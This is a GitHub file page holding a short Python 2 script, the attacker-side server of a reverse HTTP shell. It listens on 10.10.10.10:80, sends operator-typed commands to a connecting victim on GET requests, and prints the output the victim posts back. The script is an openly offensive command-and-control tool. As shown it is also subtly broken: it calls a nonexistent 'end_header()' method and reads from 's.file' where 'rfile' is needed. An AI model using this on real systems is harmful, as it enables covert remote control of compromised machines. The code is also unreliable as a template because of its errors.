forked from Isomaniac/Python
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathReverse HTTP-Shell-server.py
More file actions
32 lines (24 loc) · 1.26 KB
/
Reverse HTTP-Shell-server.py
File metadata and controls
32 lines (24 loc) · 1.26 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import BaseHTTPServer
HOST_NAME = '10.10.10.10'
PORT_NUMBER = 80
class MyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_GET(s):
command = raw_input("Shell:- ")
s.send_response(200) ## Sending Response
s.send_header("Content-type","text/html") ## Sending Header
s.end_header() ## Ending Header
s.wfile.write(command) ## Writing the command
def do_POST(s): ## Sending through POST
s.send_response(200) ## Sending Response
s.end_headers() ## Ending Headers
length = int(s.headers['Content-Length']) ## Getting the Content length
postVar = s.file.read(length)
print postVar
if __name__=='__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST_NAME,PORT_NUMBER),MyHandler)
try:
httpd.serve_forever()
except KeyboardInterrupt:
print '[!] Server is terminated' ### Server connection is terminated and will print if it is terminated .
httpd.server_close()